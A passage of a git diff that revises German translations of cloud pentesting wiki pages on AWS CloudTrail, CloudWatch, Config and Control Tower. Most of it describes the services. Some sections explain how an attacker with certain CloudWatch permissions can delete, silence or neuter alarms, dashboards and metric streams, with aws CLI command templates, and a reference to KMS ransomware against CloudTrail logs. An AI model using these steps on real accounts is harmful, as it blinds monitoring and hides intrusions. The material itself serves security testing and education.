Schlüssel verschlüsseln** und **den privaten Schlüssel löschen**, sodass die Inhalte von CloudTrail nicht wiederhergestellt werden können.\ +Dies ist im Grunde eine **S3-KMS Ransomware**, die in: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -**KMS ransomware** +**KMS Ransomware** -Dies ist der einfachste Weg, um den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen: +Dies ist der einfachste Weg, den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **Referenzen** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 8c2ef3414..9b138dd08 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -27,25 +27,25 @@ Ein Namespace ist ein Container für CloudWatch-Metriken. Er hilft, Metriken zu ### Metriken -Metriken sind Datenpunkte, die über die Zeit gesammelt werden und die Leistung oder Nutzung von AWS-Ressourcen darstellen. Metriken können von AWS-Diensten, benutzerdefinierten Anwendungen oder Drittanbieter-Integrationen gesammelt werden. +Metriken sind über die Zeit gesammelte Datenpunkte, die die Leistung oder Nutzung von AWS-Ressourcen darstellen. Metriken können aus AWS-Diensten, benutzerdefinierten Anwendungen oder Drittanbieter-Integrationen gesammelt werden. - **Beispiel**: CPUUtilization, NetworkIn, DiskReadOps. ### Dimensionen -Dimensionen sind Schlüssel-Wert-Paare, die Teil von Metriken sind. Sie helfen, eine Metrik eindeutig zu identifizieren und bieten zusätzlichen Kontext, wobei 30 die maximale Anzahl von Dimensionen ist, die mit einer Metrik verknüpft werden kann. Dimensionen ermöglichen auch das Filtern und Aggregieren von Metriken basierend auf spezifischen Attributen. +Dimensionen sind Schlüssel-Wert-Paare, die Teil von Metriken sind. Sie helfen, eine Metrik eindeutig zu identifizieren und bieten zusätzlichen Kontext, wobei 30 die maximale Anzahl von Dimensionen ist, die mit einer Metrik verknüpft werden können. Dimensionen ermöglichen auch das Filtern und Aggregieren von Metriken basierend auf spezifischen Attributen. - **Beispiel**: Für EC2-Instanzen könnten Dimensionen InstanceId, InstanceType und AvailabilityZone umfassen. ### Statistiken -Statistiken sind mathematische Berechnungen, die auf Metrikdaten durchgeführt werden, um diese über die Zeit zusammenzufassen. Zu den gängigen Statistiken gehören Durchschnitt, Summe, Minimum, Maximum und SampleCount. +Statistiken sind mathematische Berechnungen, die auf Metrikdaten durchgeführt werden, um sie über die Zeit zusammenzufassen. Zu den gängigen Statistiken gehören Durchschnitt, Summe, Minimum, Maximum und SampleCount. - **Beispiel**: Berechnung der durchschnittlichen CPU-Auslastung über einen Zeitraum von einer Stunde. ### Einheiten -Einheiten sind der Messungstyp, der mit einer Metrik verknüpft ist. Einheiten helfen, Kontext und Bedeutung für die Metrikdaten bereitzustellen. Zu den gängigen Einheiten gehören Prozent, Bytes, Sekunden, Anzahl. +Einheiten sind der Messungstyp, der mit einer Metrik verbunden ist. Einheiten helfen, Kontext und Bedeutung zu den Metrikdaten zu liefern. Zu den gängigen Einheiten gehören Prozent, Bytes, Sekunden, Anzahl. - **Beispiel**: CPUUtilization könnte in Prozent gemessen werden, während NetworkIn in Bytes gemessen werden könnte. @@ -68,11 +68,11 @@ Einheiten sind der Messungstyp, der mit einer Metrik verknüpft ist. Einheiten h **Metrikstreams** in AWS CloudWatch ermöglichen es Ihnen, CloudWatch-Metriken kontinuierlich in nahezu Echtzeit an ein Ziel Ihrer Wahl zu streamen. Dies ist besonders nützlich für fortgeschrittene Überwachung, Analysen und benutzerdefinierte Dashboards mit Tools außerhalb von AWS. -**Metrikdaten** innerhalb von Metrikstreams beziehen sich auf die tatsächlichen Messungen oder Datenpunkte, die gestreamt werden. Diese Datenpunkte repräsentieren verschiedene Metriken wie CPU-Auslastung, Speicherauslastung usw. für AWS-Ressourcen. +**Metrikdaten** innerhalb von Metrikstreams beziehen sich auf die tatsächlichen Messungen oder Datenpunkte, die gestreamt werden. Diese Datenpunkte repräsentieren verschiedene Metriken wie CPU-Auslastung, Speichernutzung usw. für AWS-Ressourcen. **Beispielanwendung**: -- Echtzeitmetriken an einen Drittanbieter-Überwachungsdienst für fortgeschrittene Analysen senden. +- Echtzeitmetriken an einen Drittanbieter-Überwachungsdienst für eine fortgeschrittene Analyse senden. - Metriken in einem Amazon S3-Bucket für die langfristige Speicherung und Compliance archivieren. ### Alarm @@ -88,7 +88,7 @@ Einheiten sind der Messungstyp, der mit einer Metrik verknüpft ist. Einheiten h **Beispielanwendung**: -- Überwachung der CPU-Auslastung von EC2-Instanzen und Senden einer Benachrichtigung über SNS, wenn sie 80 % für 5 aufeinanderfolgende Minuten überschreitet. +- Überwachung der CPU-Auslastung einer EC2-Instanz und Senden einer Benachrichtigung über SNS, wenn sie 80 % für 5 aufeinanderfolgende Minuten überschreitet. ### Anomalie-Detektoren @@ -105,13 +105,13 @@ Einheiten sind der Messungstyp, der mit einer Metrik verknüpft ist. Einheiten h ### Insight-Regeln und verwaltete Insight-Regeln -**Insight-Regeln** ermöglichen es Ihnen, Trends zu identifizieren, Spitzen zu erkennen oder andere Muster von Interesse in Ihren Metrikdaten mithilfe **leistungsstarker mathematischer Ausdrücke** zu definieren, unter welchen Bedingungen Aktionen ergriffen werden sollten. Diese Regeln können Ihnen helfen, Anomalien oder ungewöhnliches Verhalten in der Leistung und Nutzung Ihrer Ressourcen zu identifizieren. +**Insight-Regeln** ermöglichen es Ihnen, Trends zu identifizieren, Spitzen oder andere Muster von Interesse in Ihren Metrikdaten zu erkennen, indem Sie **leistungsstarke mathematische Ausdrücke** verwenden, um die Bedingungen zu definieren, unter denen Maßnahmen ergriffen werden sollten. Diese Regeln können Ihnen helfen, Anomalien oder ungewöhnliches Verhalten in der Leistung und Nutzung Ihrer Ressourcen zu identifizieren. -**Verwaltete Insight-Regeln** sind vorkonfigurierte **Insight-Regeln, die von AWS bereitgestellt werden**. Sie sind darauf ausgelegt, spezifische AWS-Dienste oder häufige Anwendungsfälle zu überwachen und können ohne detaillierte Konfiguration aktiviert werden. +**Verwaltete Insight-Regeln** sind vorkonfigurierte **Insight-Regeln, die von AWS bereitgestellt werden**. Sie sind darauf ausgelegt, spezifische AWS-Dienste oder gängige Anwendungsfälle zu überwachen und können ohne detaillierte Konfiguration aktiviert werden. **Beispielanwendung**: -- Überwachung der RDS-Leistung: Aktivieren Sie eine verwaltete Insight-Regel für Amazon RDS, die wichtige Leistungsindikatoren wie CPU-Auslastung, Speicherauslastung und Festplatten-I/O überwacht. Wenn eine dieser Metriken sichere Betriebsgrenzen überschreitet, kann die Regel einen Alarm oder eine automatisierte Minderung auslösen. +- Überwachung der RDS-Leistung: Aktivieren Sie eine verwaltete Insight-Regel für Amazon RDS, die wichtige Leistungsindikatoren wie CPU-Auslastung, Speichernutzung und Festplatten-I/O überwacht. Wenn eine dieser Metriken sichere Betriebsgrenzen überschreitet, kann die Regel einen Alarm oder eine automatisierte Minderung auslösen. ### CloudWatch-Protokolle @@ -121,20 +121,20 @@ Ermöglicht das **Aggregieren und Überwachen von Protokollen aus Anwendungen** | **Protokollgruppe** | Eine **Sammlung von Protokollstreams**, die dieselben Aufbewahrungs-, Überwachungs- und Zugriffskontrolleinstellungen teilen | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Protokollstream** | Eine Sequenz von **Protokollereignissen**, die die **gleiche Quelle** teilen | +| **Protokollstream** | Eine Sequenz von **Protokolldaten**, die die **gleiche Quelle** teilen | | **Abonnementfilter** | Definieren ein **Filtermuster, das Ereignisse** in einer bestimmten Protokollgruppe übereinstimmt, senden sie an Kinesis Data Firehose-Stream, Kinesis-Stream oder eine Lambda-Funktion | ### CloudWatch-Überwachung & Ereignisse -CloudWatch **grundlegend** aggregiert Daten **alle 5 Minuten** (die **detaillierte** macht das **alle 1 Minute**). Nach der Aggregation **überprüft es die Schwellenwerte der Alarme**, falls es einen auslösen muss.\ -In diesem Fall kann CloudWatch vorbereitet sein, ein Ereignis zu senden und einige automatische Aktionen durchzuführen (AWS-Lambda-Funktionen, SNS-Themen, SQS-Warteschlangen, Kinesis-Streams). +CloudWatch **grundlegend** aggregiert Daten **alle 5 Minuten** (die **detaillierte** macht das **alle 1 Minute**). Nach der Aggregation **überprüft es die Schwellenwerte der Alarme**, um festzustellen, ob einer ausgelöst werden muss.\ +In diesem Fall kann CloudWatch bereit sein, ein Ereignis zu senden und einige automatische Aktionen durchzuführen (AWS-Lambda-Funktionen, SNS-Themen, SQS-Warteschlangen, Kinesis-Streams). ### Agenteninstallation Sie können Agenten in Ihren Maschinen/Containern installieren, um automatisch die Protokolle an CloudWatch zurückzusenden. -- **Erstellen** Sie eine **Rolle** und **hängen** Sie sie an die **Instanz** mit Berechtigungen, die es CloudWatch ermöglichen, Daten von den Instanzen zu sammeln, zusätzlich zur Interaktion mit dem AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM). -- **Laden** Sie den **Agenten** herunter und **installieren** Sie ihn auf der EC2-Instanz ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Sie können ihn von innerhalb der EC2 herunterladen oder automatisch mit dem AWS Systems Manager installieren, indem Sie das Paket AWS-ConfigureAWSPackage auswählen. +- **Erstellen** Sie eine **Rolle** und **fügen** Sie sie der **Instanz** mit Berechtigungen hinzu, die es CloudWatch ermöglichen, Daten von den Instanzen zu sammeln, zusätzlich zur Interaktion mit dem AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM). +- **Laden** Sie den **Agenten** herunter und **installieren** Sie ihn auf der EC2-Instanz ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Sie können ihn von innerhalb der EC2 herunterladen oder automatisch mit AWS Systems Manager installieren, indem Sie das Paket AWS-ConfigureAWSPackage auswählen. - **Konfigurieren** und **starten** Sie den CloudWatch-Agenten. Eine Protokollgruppe hat viele Streams. Ein Stream hat viele Ereignisse. Und innerhalb jedes Streams sind die Ereignisse garantiert in der richtigen Reihenfolge. @@ -216,9 +216,9 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Ein Angreifer mit diesen Berechtigungen könnte die Überwachungs- und Alarmierungsinfrastruktur einer Organisation erheblich untergraben. Durch das Löschen vorhandener Alarme könnte ein Angreifer entscheidende Benachrichtigungen deaktivieren, die Administratoren über kritische Leistungsprobleme, Sicherheitsverletzungen oder betriebliche Ausfälle informieren. Darüber hinaus könnte der Angreifer durch das Erstellen oder Ändern von Metrik-Alarmen auch Administratoren mit falschen Alarmen in die Irre führen oder legitime Alarme zum Schweigen bringen, wodurch böswillige Aktivitäten effektiv maskiert und rechtzeitige Reaktionen auf tatsächliche Vorfälle verhindert werden. +Ein Angreifer mit diesen Berechtigungen könnte die Überwachungs- und Alarmierungsinfrastruktur einer Organisation erheblich untergraben. Durch das Löschen vorhandener Alarme könnte ein Angreifer entscheidende Warnungen deaktivieren, die Administratoren über kritische Leistungsprobleme, Sicherheitsverletzungen oder Betriebsstörungen informieren. Darüber hinaus könnte der Angreifer durch das Erstellen oder Ändern von Metrik-Alarmen auch Administratoren mit falschen Warnungen in die Irre führen oder legitime Alarme zum Schweigen bringen, wodurch böswillige Aktivitäten effektiv maskiert und rechtzeitige Reaktionen auf tatsächliche Vorfälle verhindert werden. -Darüber hinaus könnte ein Angreifer mit der Berechtigung **`cloudwatch:PutCompositeAlarm`** eine Schleife oder einen Zyklus von zusammengesetzten Alarmen erstellen, bei dem zusammengesetzter Alarm A von zusammengesetztem Alarm B abhängt und zusammengesetzter Alarm B auch von zusammengesetztem Alarm A abhängt. In diesem Szenario ist es nicht möglich, einen zusammengesetzten Alarm, der Teil des Zyklus ist, zu löschen, da immer noch ein zusammengesetzter Alarm existiert, der von dem Alarm abhängt, den Sie löschen möchten. +Darüber hinaus könnte ein Angreifer mit der Berechtigung **`cloudwatch:PutCompositeAlarm`** eine Schleife oder einen Zyklus von zusammengesetzten Alarmen erstellen, bei dem zusammengesetzter Alarm A von zusammengesetztem Alarm B abhängt und zusammengesetzter Alarm B auch von zusammengesetztem Alarm A abhängt. In diesem Szenario ist es nicht möglich, einen zusammengesetzten Alarm, der Teil des Zyklus ist, zu löschen, da es immer noch einen zusammengesetzten Alarm gibt, der von dem Alarm abhängt, den Sie löschen möchten. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names @@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- Das folgende Beispiel zeigt, wie man einen Metrikalarm unwirksam macht: - Dieser Metrikalarm überwacht die durchschnittliche CPU-Auslastung einer bestimmten EC2-Instanz, bewertet die Metrik alle 300 Sekunden und erfordert 6 Bewertungsperioden (insgesamt 30 Minuten). Wenn die durchschnittliche CPU-Auslastung in mindestens 4 dieser Perioden 60 % überschreitet, wird der Alarm ausgelöst und sendet eine Benachrichtigung an das angegebene SNS-Thema. -- Durch die Änderung des Schwellenwerts auf mehr als 99 %, das Setzen der Periode auf 10 Sekunden, der Bewertungsperioden auf 8640 (da 8640 Perioden von 10 Sekunden 1 Tag entsprechen) und der Datapoints to Alarm auf ebenfalls 8640, wäre es erforderlich, dass die CPU-Auslastung während des gesamten 24-Stunden-Zeitraums alle 10 Sekunden über 99 % liegt, um einen Alarm auszulösen. +- Durch Ändern des Schwellenwerts auf mehr als 99 %, Festlegen der Periode auf 10 Sekunden, der Bewertungsperioden auf 8640 (da 8640 Perioden von 10 Sekunden 1 Tag entsprechen) und der Datenpunkte auf Alarm ebenfalls auf 8640, wäre es erforderlich, dass die CPU-Auslastung über 99 % alle 10 Sekunden während des gesamten 24-Stunden-Zeitraums liegt, um einen Alarm auszulösen. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -283,11 +283,11 @@ Das folgende Beispiel zeigt, wie man einen Metrikalarm unwirksam macht: ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -Durch das Löschen von Alarmaktionen könnte der Angreifer kritische Alarme und automatisierte Reaktionen daran hindern, ausgelöst zu werden, wenn ein Alarmzustand erreicht wird, wie z. B. die Benachrichtigung von Administratoren oder das Auslösen von Auto-Scaling-Aktivitäten. Das unangemessene Aktivieren oder Wiederaktivieren von Alarmaktionen könnte ebenfalls zu unerwartetem Verhalten führen, entweder durch die Reaktivierung zuvor deaktivierter Aktionen oder durch die Änderung, welche Aktionen ausgelöst werden, was potenziell zu Verwirrung und Fehlleitungen bei der Vorfallreaktion führen könnte. +Durch das Löschen von Alarmaktionen könnte der Angreifer kritische Benachrichtigungen und automatisierte Reaktionen verhindern, die ausgelöst werden, wenn ein Alarmzustand erreicht wird, wie z.B. die Benachrichtigung von Administratoren oder das Auslösen von Auto-Scaling-Aktivitäten. Das unangemessene Aktivieren oder Wiederaktivieren von Alarmaktionen könnte ebenfalls zu unerwartetem Verhalten führen, entweder durch die Reaktivierung zuvor deaktivierter Aktionen oder durch die Änderung, welche Aktionen ausgelöst werden, was potenziell Verwirrung und Fehlleitungen bei der Vorfallreaktion verursachen könnte. -Darüber hinaus könnte ein Angreifer mit der Berechtigung Alarmzustände manipulieren, indem er falsche Alarme erstellt, um Administratoren abzulenken und zu verwirren, oder echte Alarme zum Schweigen bringt, um laufende böswillige Aktivitäten oder kritische Systemausfälle zu verbergen. +Darüber hinaus könnte ein Angreifer mit der Berechtigung Alarmzustände manipulieren, indem er falsche Alarme erstellt, um Administratoren abzulenken und zu verwirren, oder echte Alarme zum Schweigen bringt, um laufende bösartige Aktivitäten oder kritische Systemausfälle zu verbergen. -- Wenn Sie **`SetAlarmState`** für einen zusammengesetzten Alarm verwenden, ist nicht garantiert, dass der zusammengesetzte Alarm in seinen tatsächlichen Zustand zurückkehrt. Er kehrt nur dann in seinen tatsächlichen Zustand zurück, wenn einer seiner untergeordneten Alarme den Zustand ändert. Er wird auch neu bewertet, wenn Sie seine Konfiguration aktualisieren. +- Wenn Sie **`SetAlarmState`** bei einem zusammengesetzten Alarm verwenden, ist nicht garantiert, dass der zusammengesetzte Alarm in seinen tatsächlichen Zustand zurückkehrt. Er kehrt nur dann in seinen tatsächlichen Zustand zurück, wenn einer seiner untergeordneten Alarme den Zustand ändert. Er wird auch neu bewertet, wenn Sie seine Konfiguration aktualisieren. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names @@ -355,14 +355,14 @@ Das folgende Beispiel zeigt, wie man einen Metrik-Anomalie-Detektor unwirksam ma ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -Ein Angreifer könnte die Überwachungs- und Visualisierungsfähigkeiten einer Organisation gefährden, indem er deren Dashboards erstellt, ändert oder löscht. Diese Berechtigungen könnten genutzt werden, um die kritische Sichtbarkeit auf die Leistung und Gesundheit von Systemen zu entfernen, Dashboards so zu ändern, dass falsche Daten angezeigt werden, oder böswillige Aktivitäten zu verbergen. +Ein Angreifer könnte die Überwachungs- und Visualisierungsfähigkeiten einer Organisation gefährden, indem er deren Dashboards erstellt, ändert oder löscht. Diese Berechtigungen könnten genutzt werden, um kritische Sichtbarkeit in die Leistung und Gesundheit von Systemen zu entfernen, Dashboards so zu ändern, dass falsche Daten angezeigt werden, oder böswillige Aktivitäten zu verbergen. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` **Potenzielle Auswirkungen**: Verlust der Überwachungsansicht und irreführende Informationen. -### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** +### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** Insight-Regeln werden verwendet, um Anomalien zu erkennen, die Leistung zu optimieren und Ressourcen effektiv zu verwalten. Durch das Löschen vorhandener Insight-Regeln könnte ein Angreifer kritische Überwachungsfähigkeiten entfernen, wodurch das System blind für Leistungsprobleme und Sicherheitsbedrohungen wird. Darüber hinaus könnte ein Angreifer Insight-Regeln erstellen oder ändern, um irreführende Daten zu generieren oder böswillige Aktivitäten zu verbergen, was zu falschen Diagnosen und unangemessenen Reaktionen des Betriebsteams führen würde. ```bash @@ -389,7 +389,7 @@ Ein Angreifer mit den Berechtigungen **`cloudwatch:DeleteMetricStream`** , **`cl - **Ressourcenmanipulation**: Die Erstellung neuer Metrikstreams mit übermäßigen Daten könnte viel Lärm erzeugen, was zu falschen Alarmen führt und wahre Probleme maskiert. - **Überwachungsstörung**: Durch das Löschen von Metrikstreams würden Angreifer den kontinuierlichen Fluss von Überwachungsdaten stören. Auf diese Weise wären ihre bösartigen Aktivitäten effektiv verborgen. -Ähnlich wäre es mit der Berechtigung **`cloudwatch:PutMetricData`** möglich, Daten zu einem Metrikstream hinzuzufügen. Dies könnte zu einem DoS führen, aufgrund der Menge an unzulässigen Daten, die hinzugefügt werden, wodurch es völlig nutzlos wird. +Ähnlich könnte man mit der Berechtigung **`cloudwatch:PutMetricData`** Daten zu einem Metrikstream hinzufügen. Dies könnte zu einem DoS führen, aufgrund der Menge an unzulässigen Daten, die hinzugefügt werden, wodurch es völlig nutzlos wird. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index 6611e1768..cc1f4ef3d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,9 +4,9 @@ ## AWS Config -AWS Config **erfasst Änderungen an Ressourcen**, sodass jede Änderung an einer von Config unterstützten Ressource aufgezeichnet werden kann, was **aufzeichnet, was sich geändert hat, zusammen mit anderen nützlichen Metadaten, die in einer Datei bekannt als Konfigurationselement, einem CI, gespeichert sind**. Dieser Dienst ist **regionsspezifisch**. +AWS Config **erfasst Änderungen an Ressourcen**, sodass jede Änderung an einer von Config unterstützten Ressource aufgezeichnet werden kann, was **aufzeichnet, was sich geändert hat, zusammen mit anderen nützlichen Metadaten, die alle in einer Datei bekannt als Konfigurationselement, einem CI, gespeichert sind**. Dieser Dienst ist **regionsspezifisch**. -Ein Konfigurationselement oder **CI**, wie es bekannt ist, ist ein Schlüsselkomponente von AWS Config. Es besteht aus einer JSON-Datei, die **die Konfigurationsinformationen, Beziehungsinformationen und andere Metadaten als Momentaufnahme eines unterstützten Ressourcenstatus enthält**. Alle Informationen, die AWS Config für eine Ressource aufzeichnen kann, sind im CI erfasst. Ein CI wird **jedes Mal** erstellt, wenn eine unterstützte Ressource in irgendeiner Weise eine Änderung an ihrer Konfiguration erfährt. Neben der Aufzeichnung der Details der betroffenen Ressource wird AWS Config auch CIs für alle direkt verwandten Ressourcen aufzeichnen, um sicherzustellen, dass die Änderung diese Ressourcen nicht ebenfalls betroffen hat. +Ein Konfigurationselement oder **CI**, wie es bekannt ist, ist ein Schlüsselkomponente von AWS Config. Es besteht aus einer JSON-Datei, die **die Konfigurationsinformationen, Beziehungsinformationen und andere Metadaten als Momentaufnahme eines unterstützten Ressourcenstatus enthält**. Alle Informationen, die AWS Config für eine Ressource aufzeichnen kann, sind im CI enthalten. Ein CI wird **jedes Mal** erstellt, wenn eine unterstützte Ressource in irgendeiner Weise eine Änderung an ihrer Konfiguration erfährt. Neben der Aufzeichnung der Details der betroffenen Ressource wird AWS Config auch CIs für alle direkt verwandten Ressourcen aufzeichnen, um sicherzustellen, dass die Änderung diese Ressourcen nicht ebenfalls betroffen hat. - **Metadaten**: Enthält Details über das Konfigurationselement selbst. Eine Versions-ID und eine Konfigurations-ID, die das CI eindeutig identifiziert. Weitere Informationen können einen MD5Hash umfassen, der es Ihnen ermöglicht, andere bereits aufgezeichnete CIs gegen dieselbe Ressource zu vergleichen. - **Attribute**: Dies enthält allgemeine **Attributinformationen zur tatsächlichen Ressource**. In diesem Abschnitt haben wir auch eine eindeutige Ressourcen-ID und alle Schlüsselwert-Tags, die mit der Ressource verbunden sind. Der Ressourcentyp wird ebenfalls aufgeführt. Zum Beispiel, wenn dies ein CI für eine EC2-Instanz war, könnten die aufgeführten Ressourcentypen das Netzwerkinterface oder die elastische IP-Adresse für diese EC2-Instanz sein. @@ -20,24 +20,24 @@ Ein Konfigurationselement oder **CI**, wie es bekannt ist, ist ein Schlüsselkom **Konfigurationsschnappschüsse**: Konfigurationselemente werden verwendet, um eine Momentaufnahme aller unterstützten Ressourcen zu erstellen. -**S3 wird verwendet, um** die Konfigurationshistorie-Dateien und alle Konfigurationsschnappschüsse Ihrer Daten innerhalb eines einzelnen Buckets zu speichern, der im Konfigurationsrekorder definiert ist. Wenn Sie mehrere AWS-Konten haben, möchten Sie möglicherweise Ihre Konfigurationshistorie-Dateien in denselben S3-Bucket für Ihr primäres Konto aggregieren. Sie müssen jedoch diesem Dienstprinzipal, config.amazonaws.com, und Ihren sekundären Konten Schreibzugriff auf den S3-Bucket in Ihrem primären Konto gewähren. +**S3 wird verwendet, um** die Konfigurationshistorie-Dateien und alle Konfigurationsschnappschüsse Ihrer Daten innerhalb eines einzelnen Buckets zu speichern, der im Konfigurationsrekorder definiert ist. Wenn Sie mehrere AWS-Konten haben, möchten Sie möglicherweise Ihre Konfigurationshistorie-Dateien in denselben S3-Bucket für Ihr Hauptkonto aggregieren. Sie müssen jedoch diesem Dienstprinzipal, config.amazonaws.com, und Ihren sekundären Konten Schreibzugriff auf den S3-Bucket in Ihrem Hauptkonto gewähren. ### Funktionsweise - Wenn Änderungen vorgenommen werden, zum Beispiel an der Sicherheitsgruppe oder der Zugriffssteuerungsliste für Buckets —> wird als ein Ereignis ausgelöst, das von AWS Config erfasst wird - Speichert alles in einem S3-Bucket -- Je nach Einrichtung könnte es, sobald sich etwas ändert, eine Lambda-Funktion auslösen ODER eine geplante Lambda-Funktion einrichten, die regelmäßig die AWS Config-Einstellungen überprüft -- Lambda gibt an Config zurück -- Wenn eine Regel verletzt wurde, löst Config ein SNS aus +- Je nach Einrichtung könnte es, sobald sich etwas ändert, eine Lambda-Funktion auslösen ODER eine geplante Lambda-Funktion, die regelmäßig die AWS Config-Einstellungen überprüft +- Lambda gibt Feedback an Config +- Wenn eine Regel verletzt wurde, wird Config ein SNS auslösen ![](<../../../../images/image (126).png>) ### Config-Regeln -Config-Regeln sind eine großartige Möglichkeit, um **spezifische Compliance-Prüfungen** **und Kontrollen über Ihre Ressourcen durchzusetzen** und ermöglichen es Ihnen, eine ideale Bereitstellungsspezifikation für jeden Ihrer Ressourcentypen zu übernehmen. Jede Regel **ist im Wesentlichen eine Lambda-Funktion**, die, wenn sie aufgerufen wird, die Ressource bewertet und eine einfache Logik anwendet, um das Compliance-Ergebnis mit der Regel zu bestimmen. **Jedes Mal, wenn eine Änderung an einer Ihrer unterstützten Ressourcen vorgenommen wird**, **überprüft AWS Config die Compliance gegen alle Config-Regeln, die Sie implementiert haben**.\ -AWS hat eine Reihe von **vordefinierten Regeln**, die unter dem Sicherheitsdach fallen und bereit zur Verwendung sind. Zum Beispiel, Rds-storage-encrypted. Dies überprüft, ob die Speicherverschlüsselung von Ihren RDS-Datenbankinstanzen aktiviert ist. Encrypted-volumes. Dies überprüft, ob EBS-Volumes, die einen angehängten Zustand haben, verschlüsselt sind. +Config-Regeln sind eine großartige Möglichkeit, um **spezifische Compliance-Prüfungen** **und Kontrollen über Ihre Ressourcen durchzusetzen** und ermöglichen es Ihnen, eine ideale Bereitstellungsspezifikation für jeden Ihrer Ressourcentypen zu übernehmen. Jede Regel **ist im Wesentlichen eine Lambda-Funktion**, die, wenn sie aufgerufen wird, die Ressource bewertet und eine einfache Logik anwendet, um das Compliance-Ergebnis mit der Regel zu bestimmen. **Jedes Mal, wenn eine Änderung an einer Ihrer unterstützten Ressourcen vorgenommen wird**, **wird AWS Config die Compliance gegen alle Config-Regeln überprüfen, die Sie implementiert haben**.\ +AWS hat eine Reihe von **vordefinierten Regeln**, die unter den Sicherheitsbereich fallen und bereit zur Verwendung sind. Zum Beispiel, Rds-storage-encrypted. Dies überprüft, ob die Speicherungverschlüsselung von Ihren RDS-Datenbankinstanzen aktiviert ist. Encrypted-volumes. Dies überprüft, ob EBS-Volumes, die einen angehängten Zustand haben, verschlüsselt sind. -- **AWS-verwaltete Regeln**: Eine Reihe von vordefinierten Regeln, die viele Best Practices abdecken, daher ist es immer sinnvoll, diese Regeln zuerst zu durchsuchen, bevor Sie Ihre eigenen einrichten, da die Möglichkeit besteht, dass die Regel bereits existiert. +- **AWS-verwaltete Regeln**: Eine Reihe von vordefinierten Regeln, die viele Best Practices abdecken, daher ist es immer sinnvoll, diese Regeln zuerst zu durchsuchen, bevor Sie Ihre eigenen einrichten, da die Regel möglicherweise bereits existiert. - **Benutzerdefinierte Regeln**: Sie können Ihre eigenen Regeln erstellen, um spezifische benutzerdefinierte Konfigurationen zu überprüfen. Limit von 50 Config-Regeln pro Region, bevor Sie AWS für eine Erhöhung kontaktieren müssen.\ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index f7f47f090..9b57e7395 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -9,7 +9,7 @@ AWS Control Tower ist ein **Dienst von Amazon Web Services (AWS)**, der es Organisationen ermöglicht, eine sichere, konforme Multi-Account-Umgebung in AWS einzurichten und zu verwalten. -AWS Control Tower bietet eine **vordefinierte Reihe von Best-Practice-Vorlagen**, die an spezifische **organisatorische Anforderungen** angepasst werden können. Diese Vorlagen enthalten vorkonfigurierte AWS-Dienste und -Funktionen, wie AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail und AWS Service Catalog. +AWS Control Tower bietet eine **vordefinierte Reihe von Best-Practice-Vorlagen**, die an spezifische **organisatorische Anforderungen** angepasst werden können. Diese Vorlagen umfassen vorkonfigurierte AWS-Dienste und -Funktionen wie AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail und AWS Service Catalog. Mit AWS Control Tower können Administratoren schnell eine **Multi-Account-Umgebung einrichten, die den organisatorischen Anforderungen** wie **Sicherheit** und Compliance entspricht. Der Dienst bietet ein zentrales Dashboard zur Ansicht und Verwaltung von Konten und Ressourcen und 